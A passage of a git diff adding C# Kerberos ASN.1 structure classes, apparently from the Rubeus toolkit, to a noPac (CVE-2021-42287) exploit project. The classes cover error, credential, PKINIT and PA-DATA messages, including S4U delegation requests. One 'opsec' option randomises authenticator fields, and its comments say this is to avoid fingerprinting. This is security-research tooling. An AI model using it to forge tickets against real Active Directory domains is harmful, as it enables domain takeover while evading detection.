new file mode 100644 index 0000000..0e39550 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KRB_ERROR.cs @@ -0,0 +1,110 @@ +using System; +using Asn1; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + public class KRB_ERROR + { + //KRB-ERROR ::= [APPLICATION 30] SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (30), + // ctime [2] KerberosTime OPTIONAL, + // cusec [3] Microseconds OPTIONAL, + // stime [4] KerberosTime, + // susec [5] Microseconds, + // error-code [6] Int32, + // crealm [7] Realm OPTIONAL, + // cname [8] PrincipalName OPTIONAL, + // realm [9] Realm -- service realm --, + // sname [10] PrincipalName -- service name --, + // e-text [11] KerberosString OPTIONAL, + // e-data [12] OCTET STRING OPTIONAL + //} + + public KRB_ERROR(byte[] errorBytes) + { + + } + + public KRB_ERROR(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + pvno = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 1: + msg_type = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 2: + ctime = s.Sub[0].GetTime(); + break; + case 3: + cusec = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 4: + stime = s.Sub[0].GetTime(); + break; + case 5: + susec = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 6: + error_code = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 7: + crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 8: + cname = new PrincipalName(s.Sub[0]); + break; + case 9: + realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 10: + sname = new PrincipalName(s.Sub[0]); + break; + default: + break; + } + } + } + + // don't ever really need to create a KRB_ERROR structure manually, so no Encode() + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public DateTime ctime { get; set; } + + public long cusec { get; set; } + + public DateTime stime { get; set; } + + public long susec { get; set; } + + public long error_code { get; set; } + + public string crealm { get; set; } + + public PrincipalName cname { get; set; } + + public string realm { get; set; } + + public PrincipalName sname { get; set; } + + // skipping these two for now + // e_text + // e_data + + + //public Ticket[] tickets { get; set; } + public List tickets { get; set; } + + public EncKrbCredPart enc_part { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KRB_PRIV.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KRB_PRIV.cs new file mode 100644 index 0000000..f065400 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KRB_PRIV.cs @@ -0,0 +1,82 @@ +using System; +using Asn1; +using System.Collections.Generic; + +namespace Rubeus +{ + public class KRB_PRIV + { + //KRB-PRIV ::= [APPLICATION 21] SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (21), + // -- NOTE: there is no [2] tag + // enc-part [3] EncryptedData -- EncKrbPrivPart + //} + + public KRB_PRIV(Interop.KERB_ETYPE encType, byte[] encKey) + { + // defaults for creation + pvno = 5; + msg_type = 21; + + etype = encType; + + ekey = encKey; + + enc_part = new EncKrbPrivPart(); + } + + public AsnElt Encode() + { + // pvno [0] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); + + + // msg-type [1] INTEGER (21) + AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); + AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); + msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); + + // enc-part [3] EncryptedData -- EncKrbPrivPart + AsnElt enc_partAsn = enc_part.Encode(); + + // etype + AsnElt etypeAsn = AsnElt.MakeInteger((int)etype); + AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); + etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); + + // now encrypt the enc_part (EncKrbPrivPart) + // KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13; + byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, ekey, enc_partAsn.Encode()); + AsnElt blob = AsnElt.MakeBlob(encBytes); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt encPrivSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); + AsnElt encPrivSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { encPrivSeq }); + encPrivSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, encPrivSeq2); + + + // all the components + AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, encPrivSeq2 }); + + // tag the final total ([APPLICATION 21]) + AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); + final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 21, final); + + return final; + } + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public EncKrbPrivPart enc_part { get; set; } + + public Interop.KERB_ETYPE etype { get; set; } + + public byte[] ekey { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbAlgorithmIdentifier.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbAlgorithmIdentifier.cs new file mode 100644 index 0000000..23aa93f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbAlgorithmIdentifier.cs @@ -0,0 +1,26 @@ +using Asn1; +using System.Security.Cryptography; + +namespace Rubeus { + public class KrbAlgorithmIdentifier { + + public Oid Algorithm { get; set; } + public byte[] Parameters { get; set; } + + public KrbAlgorithmIdentifier(Oid algorithm, byte[] parameters) { + Algorithm = algorithm; + Parameters = parameters; + } + + public AsnElt Encode() { + + AsnElt parameters = AsnElt.Decode(Parameters); + + return AsnElt.Make( + AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.MakeOID(Algorithm.Value), + parameters} + ); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbAuthPack.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbAuthPack.cs new file mode 100644 index 0000000..646012a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbAuthPack.cs @@ -0,0 +1,30 @@ +using Asn1; +using System.Security.Cryptography.X509Certificates; + +namespace Rubeus { + public class KrbAuthPack { + + public KrbPkAuthenticator Authenticator { get; private set; } + public KrbSubjectPublicKeyInfo ClientPublicValue { get; set; } + public KrbAlgorithmIdentifier[] SupportedCMSTypes { get; set; } + public byte[] ClientDHNonce { get; set; } + public X509Certificate2 Certificate { get; set; } + + public KrbAuthPack(KrbPkAuthenticator authenticator, X509Certificate2 certificate) { + Authenticator = authenticator; + Certificate = certificate; + ClientDHNonce = new byte[0]; + } + + public AsnElt Encode() { + + return AsnElt.Make(AsnElt.SEQUENCE, + new AsnElt[] { + AsnElt.Make(AsnElt.CONTEXT,0, Authenticator.Encode()), + AsnElt.Make(AsnElt.CONTEXT,1, ClientPublicValue.Encode() ), + //AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ CMSTypes } ), + AsnElt.Make(AsnElt.CONTEXT,3, AsnElt.MakeBlob(ClientDHNonce)) + }); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbCredInfo.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbCredInfo.cs new file mode 100644 index 0000000..217080a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbCredInfo.cs @@ -0,0 +1,216 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class KrbCredInfo + { + //KrbCredInfo ::= SEQUENCE { + // key [0] EncryptionKey, + // prealm [1] Realm OPTIONAL, + // pname [2] PrincipalName OPTIONAL, + // flags [3] TicketFlags OPTIONAL, + // authtime [4] KerberosTime OPTIONAL, + // starttime [5] KerberosTime OPTIONAL, + // endtime [6] KerberosTime OPTIONAL, + // renew-till [7] KerberosTime OPTIONAL, + // srealm [8] Realm OPTIONAL, + // sname [9] PrincipalName OPTIONAL, + // caddr [10] HostAddresses OPTIONAL + //} + + public KrbCredInfo() + { + key = new EncryptionKey(); + + prealm = ""; + + pname = new PrincipalName(); + + flags = 0; + + srealm = ""; + + sname = new PrincipalName(); + } + + public KrbCredInfo(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + key = new EncryptionKey(s); + break; + case 1: + prealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 2: + pname = new PrincipalName(s.Sub[0]); + break; + case 3: + UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); + byte[] tempBytes = BitConverter.GetBytes(temp); + flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0); + break; + case 4: + authtime = s.Sub[0].GetTime(); + break; + case 5: + starttime = s.Sub[0].GetTime(); + break; + case 6: + endtime = s.Sub[0].GetTime(); + break; + case 7: + renew_till = s.Sub[0].GetTime(); + break; + case 8: + srealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 9: + sname = new PrincipalName(s.Sub[0]); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + List asnElements = new List(); + + // key [0] EncryptionKey + AsnElt keyAsn = key.Encode(); + keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyAsn); + asnElements.Add(keyAsn); + + + // prealm [1] Realm OPTIONAL + if (!String.IsNullOrEmpty(prealm)) + { + AsnElt prealmAsn = AsnElt.MakeString(AsnElt.IA5String, prealm); + prealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, prealmAsn); + AsnElt prealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, prealmAsn); + prealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, prealmAsnSeq); + + asnElements.Add(prealmAsnSeq); + } + + + // pname [2] PrincipalName OPTIONAL + if ((pname.name_string != null) && (pname.name_string.Count != 0) && (!String.IsNullOrEmpty(pname.name_string[0]))) + { + AsnElt pnameAsn = pname.Encode(); + pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, pnameAsn); + asnElements.Add(pnameAsn); + } + + + // pname [2] PrincipalName OPTIONAL + byte[] flagBytes = BitConverter.GetBytes((UInt32)flags); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(flagBytes); + } + AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes); + AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn }); + flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, flagBytesSeq); + asnElements.Add(flagBytesSeq); + + + // authtime [4] KerberosTime OPTIONAL + if ((authtime != null) && (authtime != DateTime.MinValue)) + { + AsnElt authtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ")); + AsnElt authtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authtimeAsn }); + authtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authtimeSeq); + asnElements.Add(authtimeSeq); + } + + + // starttime [5] KerberosTime OPTIONAL + if ((starttime != null) && (starttime != DateTime.MinValue)) + { + AsnElt starttimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ")); + AsnElt starttimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { starttimeAsn }); + starttimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, starttimeSeq); + asnElements.Add(starttimeSeq); + } + + + // endtime [6] KerberosTime OPTIONAL + if ((endtime != null) && (endtime != DateTime.MinValue)) + { + AsnElt endtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ")); + AsnElt endtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endtimeAsn }); + endtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, endtimeSeq); + asnElements.Add(endtimeSeq); + } + + + // renew-till [7] KerberosTime OPTIONAL + if ((renew_till != null) && (renew_till != DateTime.MinValue)) + { + AsnElt renew_tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ")); + AsnElt renew_tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renew_tillAsn }); + renew_tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, renew_tillSeq); + asnElements.Add(renew_tillSeq); + } + + + // srealm [8] Realm OPTIONAL + if (!String.IsNullOrEmpty(srealm)) + { + AsnElt srealmAsn = AsnElt.MakeString(AsnElt.IA5String, srealm); + srealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, srealmAsn); + AsnElt srealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, srealmAsn); + srealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, srealmAsnSeq); + asnElements.Add(srealmAsnSeq); + } + + + // sname [9] PrincipalName OPTIONAL + if ((sname.name_string != null) && (sname.name_string.Count != 0) && (!String.IsNullOrEmpty(sname.name_string[0]))) + { + AsnElt pnameAsn = sname.Encode(); + pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, pnameAsn); + asnElements.Add(pnameAsn); + } + + + // caddr [10] HostAddresses OPTIONAL + + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, asnElements.ToArray()); + + return seq; + } + + public EncryptionKey key { get; set; } + + public string prealm { get; set; } + + public PrincipalName pname { get; set; } + + public Interop.TicketFlags flags { get; set; } + + public DateTime authtime { get; set; } + + public DateTime starttime { get; set; } + + public DateTime endtime { get; set; } + + public DateTime renew_till { get; set; } + + public string srealm { get; set; } + + public PrincipalName sname { get; set; } + + // caddr (optional) - skipping for now + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbDHRepInfo.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbDHRepInfo.cs new file mode 100644 index 0000000..81dbde1 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbDHRepInfo.cs @@ -0,0 +1,41 @@ +using Asn1; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.Pkcs; + +namespace Rubeus { + public class KrbDHRepInfo{ + public byte[] ServerDHNonce { get; private set; } + public byte[] DHSignedData { get; private set; } + public KrbKDCDHKeyInfo KDCDHKeyInfo { get; private set; } + + public KrbDHRepInfo(AsnElt asnElt) { + + if(asnElt.TagValue != AsnElt.SEQUENCE) { + throw new ArgumentException("Expected SEQUENCE for type DHRepInfo"); + } + + foreach(AsnElt seq in asnElt.Sub) { + switch (seq.TagValue) { + case 0: //dhSignedData + DHSignedData = seq.GetOctetString(); + SignedCms cms = new SignedCms(); + cms.Decode(DHSignedData); + + try { + cms.CheckSignature(true); + } catch (CryptographicException) { + Console.WriteLine("[!] DHRepInfo Signature Not Valid! - Do you even care?"); + } + + KDCDHKeyInfo = new KrbKDCDHKeyInfo(AsnElt.Decode(cms.ContentInfo.Content)); + break; + + case 1: //serverDHNonce + ServerDHNonce = seq.GetOctetString(); + break; + } + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbKDCDHKeyInfo.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbKDCDHKeyInfo.cs new file mode 100644 index 0000000..1de044a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbKDCDHKeyInfo.cs @@ -0,0 +1,32 @@ +using Asn1; +using System; + +namespace Rubeus { + + public class KrbKDCDHKeyInfo { + + public byte[] SubjectPublicKey { get; private set; } + public long Nonce { get; private set; } + public DateTime DHKeyExpiration { get; private set; } + public KrbKDCDHKeyInfo(AsnElt asnElt) { + + if(asnElt.TagValue != AsnElt.SEQUENCE) { + throw new ArgumentException("Unexpected tag type for KDCDHKeyInfo"); + } + + foreach(AsnElt sub in asnElt.Sub) { + switch (sub.TagValue){ + case 0: //subjectPublicKey + SubjectPublicKey = AsnElt.Decode(sub.Sub[0].GetBitString()).GetOctetString(); + break; + case 1: //nonce + Nonce = sub.Sub[0].GetInteger(0, uint.MaxValue); + break; + case 2: //dhKeyExpiration + DHKeyExpiration = sub.Sub[0].GetTime(); + break; + } + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbPkAuthenticator.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbPkAuthenticator.cs new file mode 100644 index 0000000..406358b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbPkAuthenticator.cs @@ -0,0 +1,38 @@ +using Asn1; +using System; +using System.Security.Cryptography; + +namespace Rubeus { + public class KrbPkAuthenticator { + + public KrbPkAuthenticator(uint cuSec, DateTime cTime, int nonce, KDCReqBody reqBody) { + CuSec = cuSec; + CTime = cTime; + Nonce = nonce; + RequestBody = reqBody; + } + + public KDCReqBody RequestBody { get; private set; } + public uint CuSec { get; set; } + public DateTime CTime { get; set; } + public int Nonce { get; set; } + + public AsnElt Encode() { + + byte[] paChecksum; + + using (SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider()) { + paChecksum = sha1.ComputeHash(RequestBody.Encode().Encode()); + } + + AsnElt asnCTime = AsnElt.MakeString(AsnElt.GeneralizedTime, CTime.ToString("yyyyMMddHHmmssZ")); + + return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.Make(AsnElt.CONTEXT,0, new AsnElt[] { AsnElt.MakeInteger(CuSec) }), + AsnElt.Make(AsnElt.CONTEXT,1, new AsnElt[]{ asnCTime } ), + AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ AsnElt.MakeInteger(Nonce) } ), + AsnElt.Make(AsnElt.CONTEXT,3, new AsnElt[]{ AsnElt.MakeBlob(paChecksum) }) + }); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbSubjectPublicKeyInfo.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbSubjectPublicKeyInfo.cs new file mode 100644 index 0000000..7cd91aa --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/KrbSubjectPublicKeyInfo.cs @@ -0,0 +1,23 @@ +using Asn1; + +namespace Rubeus { + public class KrbSubjectPublicKeyInfo { + + public KrbAlgorithmIdentifier Algorithm { get; set; } + public byte[] SubjectPublicKey { get; set; } + + public KrbSubjectPublicKeyInfo(KrbAlgorithmIdentifier algorithm, byte[] subjectPublicKey) { + Algorithm = algorithm; + SubjectPublicKey = subjectPublicKey; + } + + public AsnElt Encode() { + return AsnElt.Make( + AsnElt.SEQUENCE, new AsnElt[] { + Algorithm.Encode(), + AsnElt.MakeBitString(SubjectPublicKey) + }); + + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/LastReq.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/LastReq.cs new file mode 100644 index 0000000..8ed8637 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/LastReq.cs @@ -0,0 +1,43 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class LastReq + { + //LastReq::= SEQUENCE OF SEQUENCE { + // lr-type[0] Int32, + // lr-value[1] KerberosTime + //} + + public LastReq(AsnElt body) + { + foreach (AsnElt s in body.Sub[0].Sub) + { + switch (s.TagValue) + { + case 0: + lr_type = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + lr_value = s.Sub[0].GetTime(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // TODO: implement + return null; + } + + public Int32 lr_type { get; set; } + + public DateTime lr_value { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_DATA.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_DATA.cs new file mode 100644 index 0000000..4c2c555 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/PA_DATA.cs @@ -0,0 +1,236 @@ +using System; +using Asn1; +using System.Security.Cryptography.X509Certificates; +using System.Security.Cryptography; + + +namespace Rubeus { + public class PA_DATA + { + public static readonly Oid DiffieHellman = new Oid("1.2.840.10046.2.1"); + + //PA-DATA ::= SEQUENCE { + // -- NOTE: first tag is [1], not [0] + // padata-type [1] Int32, + // padata-value [2] OCTET STRING -- might be encoded AP-REQ + //} + + public PA_DATA(bool pac = true) + { + // defaults for creation + type = Interop.PADATA_TYPE.PA_PAC_REQUEST; + + value = new KERB_PA_PAC_REQUEST(pac); + } + + public PA_DATA(bool claims, bool branch, bool fullDC, bool rbcd) + { + // defaults for creation + type = Interop.PADATA_TYPE.PA_PAC_OPTIONS; + value = new PA_PAC_OPTIONS(claims, branch, fullDC, rbcd); + } + + public PA_DATA(string keyString, Interop.KERB_ETYPE etype) + { + // include pac, supply enc timestamp + + type = Interop.PADATA_TYPE.ENC_TIMESTAMP; + + PA_ENC_TS_ENC temp = new PA_ENC_TS_ENC(); + + byte[] rawBytes = temp.Encode().Encode(); + byte[] key = Helpers.StringToByteArray(keyString); + + // KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP == 1 + // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55 + byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, key, rawBytes); + + value = new EncryptedData((int)etype, encBytes); + } + + public PA_DATA(byte[] key, string name, string realm) + { + // used for constrained delegation + type = Interop.PADATA_TYPE.S4U2SELF; + + value = new PA_FOR_USER(key, name, realm); + } + + public PA_DATA(byte[] key, string name, string realm, uint nonce, Interop.KERB_ETYPE eType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + // used for constrained delegation + type = Interop.PADATA_TYPE.PA_S4U_X509_USER; + + value = new PA_S4U_X509_USER(key, name, realm, nonce, eType); + } + + public PA_DATA(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool opsec = false, byte[] req_body = null) + { + // include an AP-REQ, so PA-DATA for a TGS-REQ + + type = Interop.PADATA_TYPE.AP_REQ; + + // build the AP-REQ + AP_REQ ap_req = new AP_REQ(crealm, cname, providedTicket, clientKey, etype); + + // make authenticator look more realistic + if (opsec) + { + var rand = new Random(); + ap_req.authenticator.seq_number = (UInt32)rand.Next(1, Int32.MaxValue); + // Could be useful to output the sequence number in case we implement KRB_PRIV or KRB_SAFE messages + Console.WriteLine("[+] Sequence number is: {0}", ap_req.authenticator.seq_number); + + // randomize cusec to avoid fingerprinting + ap_req.authenticator.cusec = rand.Next(0, 999999); + + if (req_body != null) + ap_req.authenticator.cksum = new Checksum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5, req_body); + } + + value = ap_req; + } + + public PA_DATA(X509Certificate2 pkInitCert, KDCKeyAgreement agreement, KDCReqBody kdcRequestBody, bool verifyCerts = false) { + + DateTime now = DateTime.UtcNow; + KrbPkAuthenticator authenticator = new KrbPkAuthenticator((uint)now.Millisecond, now, now.Millisecond, kdcRequestBody); + KrbAuthPack authPack = new KrbAuthPack(authenticator, pkInitCert); + + byte[] pubKeyInfo = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.MakeInteger(agreement.P), + AsnElt.MakeInteger(agreement.G), + }).Encode(); + + authPack.ClientPublicValue = new KrbSubjectPublicKeyInfo(new KrbAlgorithmIdentifier(DiffieHellman, pubKeyInfo), + AsnElt.MakeInteger(agreement.Y).Encode()); + + type = Interop.PADATA_TYPE.PK_AS_REQ; + value = new PA_PK_AS_REQ(authPack, pkInitCert, agreement, verifyCerts); + } + + public PA_DATA(AsnElt body) + { + //if (body.Sub.Length != 2) + //{ + // throw new System.Exception("PA-DATA should contain two elements"); + //} + + //Console.WriteLine("tag: {0}", body.Sub[0].Sub[0].TagValue); + try + { + type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].GetInteger(); + byte[] valueBytes = body.Sub[1].Sub[0].GetOctetString(); + } + catch + { + type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].Sub[0].GetInteger(); + byte[] valueBytes = body.Sub[0].Sub[1].Sub[0].GetOctetString(); + } + + switch (type) { + case Interop.PADATA_TYPE.PA_PAC_REQUEST: + value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); + break; + + case Interop.PADATA_TYPE.PK_AS_REP: + value = new PA_PK_AS_REP(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); + break; + case Interop.PADATA_TYPE.PA_S4U_X509_USER: + break; + } + } + + public AsnElt Encode() + { + // padata-type [1] Int32 + AsnElt typeElt = AsnElt.MakeInteger((long)type); + AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { typeElt }); + nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, nameTypeSeq); + + AsnElt paDataElt; + if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST) + { + // used for AS-REQs + + // padata-value [2] OCTET STRING -- might be encoded AP-REQ + paDataElt = ((KERB_PA_PAC_REQUEST)value).Encode(); + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, paDataElt); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP) + { + // used for AS-REQs + AsnElt blob = AsnElt.MakeBlob(((EncryptedData)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, blobSeq }); + return seq; + } + else if (type == Interop.PADATA_TYPE.AP_REQ) + { + // used for TGS-REQs + AsnElt blob = AsnElt.MakeBlob(((AP_REQ)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if (type == Interop.PADATA_TYPE.S4U2SELF) + { + // used for constrained delegation + AsnElt blob = AsnElt.MakeBlob(((PA_FOR_USER)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if (type == Interop.PADATA_TYPE.PA_S4U_X509_USER) + { + // used for constrained delegation + AsnElt blob = AsnElt.MakeBlob(((PA_S4U_X509_USER)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if (type == Interop.PADATA_TYPE.PA_PAC_OPTIONS) + { + AsnElt blob = AsnElt.MakeBlob(((PA_PAC_OPTIONS)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if(type == Interop.PADATA_TYPE.PK_AS_REQ) { + + AsnElt blob = AsnElt.MakeBlob(((PA_PK_AS_REQ)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else + { + return null; + } + } + + public 